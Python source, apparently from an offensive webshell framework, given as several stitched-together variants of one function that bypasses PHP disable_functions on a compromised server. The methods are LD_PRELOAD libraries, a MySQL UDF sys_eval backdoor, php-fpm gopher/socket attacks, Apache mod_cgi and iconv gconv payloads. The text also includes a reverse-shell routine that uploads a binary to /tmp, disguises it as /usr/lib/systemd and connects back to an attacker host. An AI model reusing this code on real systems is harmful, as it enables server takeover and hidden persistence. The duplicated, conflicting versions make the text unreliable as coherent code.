def set_mode(mode: int, test: bool = False): if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(getcwd(), "auxiliary", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled.\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension!\n")) return False if (not test): if (mode == 7): print(color.yellow(f"\nYou may need to wait 1 second to get the result..\n")) print(f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n") gset("webshell.bypass_df", mode, True, "webshell") return True
def run(lhost: str, port: int, mode: int = 0, fakename: str = "/usr/lib/systemd"): """ reshell Bind a local port and wait for target connect back to get a full shell. eg: reshell {lhost} {port} {type=[python|upload]{1|2},default = 0 (Python:1 Not Python:2)} {(Only for Mode 2) fakename=/usr/lib/systemd} """ if (is_windows(False) or is_windows()): print(color.red(f"Only for both system is linux.")) return False try: port = int(port) except ValueError: port = 23333 disable_func_list = gget("webshell.disable_functions", "webshell") MODE = 1 print(color.yellow(f"Waring: You are using a testing command....")) print(color.yellow(f" Please make sure Port {port} open....")) if (mode == 0): if (has_env("python")): print(color.green(f"Traget has python environment.")) MODE == 1 else: print(color.red(f"Traget has not python environment.")) MODE == 2 else: MODE = int(mode) if ("proc_open" in disable_func_list): print(color.red("proc_open is disabled... Try Mode 3")) return if (MODE == 1): print(color.yellow(f"Use Mode 1->python")) command = get_php(lhost, port) else: print(color.yellow(f"Use Mode 2->upload")) filename = encrypt(f"{lhost}-{port}") if not upload( path.join(gget("root_path"), "auxiliary", "reshell", "reverse_server_x86_64"), "/tmp/%s" % filename, True): return command = get_system_code( f"cd /tmp && chmod +x {filename} && ./{filename} {fakename}", False) t = Thread(target=delay_send, args=(2, command)) t.setDaemon(True) t.start() print(f"Bind port {color.yellow(str(port))}...") if (not bind(port, MODE)): print(color.red(f"Bind port error.")) if (MODE == 3): res = send(f"unlink('/tmp/{filename}');") if (not res): return
def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = { 'host': '127.0.0.1', 'port': 9000, "php_file": "/usr/local/lib/php/PEAR.php" } for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nPort must be number!\n")) return False if new_v: requirements_dict[k] = new_v attack_type = input("attack_type[gopher/sock]:").lower() if (attack_type not in ["gopher", "sock"]): return False if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") gset("webshell.bdf_fpm.php_file", requirements_dict["php_file"], True, "webshell") gset("webshell.bdf_fpm.type", attack_type, True, "webshell") if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def set_mode(mode: int, test: bool = False): if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def set_mode(mode: int, test: bool = False): if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload if is_windows(): print(color.red("\nNo ld_preload function!\n")) return False disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) # get ld_preload trigger function available_trigger_funcs = [ 'mail', 'error_log', 'mb_send_mail', 'imap_mail' ] ld_preload_funcs = [ f for f in available_trigger_funcs if f not in disable_funcs ] if (not ld_preload_funcs): print(color.red("\nNo ld_preload function!\n")) return False ld_preload_func = choice(ld_preload_funcs) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x" + bits + ".so"), filename, True) if (not upload_result): print(color.red("\nUpload error\n")) return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") elif (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): # detect plugin dir print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False # make plugin dir print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if is_windows() else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 elif (_ in ["back", "exit", "quit"]): return False else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) # upload so / dll udf_ext = ".dll" if is_windows() else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload(path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, force=True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") # create function sys_eval print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False elif (mode == 10): # php-fpm res = send("print(php_sapi_name());") if (not res or "fpm" not in res.r_text): print(color.red(f"\nTarget php not run by php-fpm!\n")) return False requirements_dict = {'host': '127.0.0.1', 'port': 9000} attack_type = input( "attack_type[gopher(need curl extension)/sock/http_sock]:").lower( ) if (attack_type not in ["gopher", "sock", "http_sock"]): return False gset("webshell.bdf_fpm.type", attack_type, True, "webshell") # input sock path if (attack_type == "sock"): sock_path = "/var/run/php7-fpm.sock" new_v = input(f"sock_path[{sock_path}]:") if new_v: sock_path = new_v gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell") else: # input fpm http host and port for k, v in requirements_dict.items(): new_v = input(f"{k}[{v}]:") if k == 'port': new_v = new_v if new_v else v try: new_v = int(new_v) except ValueError: print(color.red(f"\nport must be number\n")) return False if new_v: requirements_dict[k] = new_v gset("webshell.bdf_fpm.host", requirements_dict["host"], True, "webshell") gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True, "webshell") elif (mode == 11): # apache-mod-cgi res = send("""$f=in_array('mod_cgi', apache_get_modules()); $f2=is_writable('.'); $f3=!empty($_SERVER['HTACCESS']); if(!$f){ die("Mod-Cgi not enabled"); } else if (!$f2) { die("Current directory not writable"); } print("success");""") if (res.r_text != "success"): print(color.red(f"\n{res.r_text}\n")) return False elif (mode == 12 and not gget("webshell.ld_preload_path", "webshell", False)): # iconv disable_funcs = gget("webshell.disable_functions", "webshell") # can't work if putenv is disabled if ("putenv" in disable_funcs): print(color.red("\nputenv is disabled\n")) return False # check if already set ld_preload if (not gget("webshell.iconv_path", "webshell", None)): filename = "/tmp/%s" % str(uuid4()) # get target architecture bits = gget("webshell.arch", namespace="webshell") if not bits: print("\nInput target system bits (32/64): ", end="") _ = readline().strip() if (_ == "32"): bits = 32 elif (_ == "64"): bits = 64 else: print(color.red("\nUnknown bits\n")) return False bits = str(bits) if bits == "32": bits = "86" # upload so upload_result = upload(path.join(gget("root_path"), "auxiliary", "iconv", "iconv_x" + bits + ".so"), filename + ".so", force=True) if (not upload_result): print(color.red("\nUpload error\n")) return gconv_modules = f"""module PAYLOAD// INTERNAL ../../../../../../../..{filename} 2 module INTERNAL PAYLOAD// ../../../../../../../..{filename} 2""" send( f"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));" ) gset("webshell.iconv_path", filename + ".so", True, "webshell") gset("webshell.iconv_gconv_modules_path", "/tmp/gconv-modules", True, "webshell") if (not test): if (mode in (7, 10, 12)): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True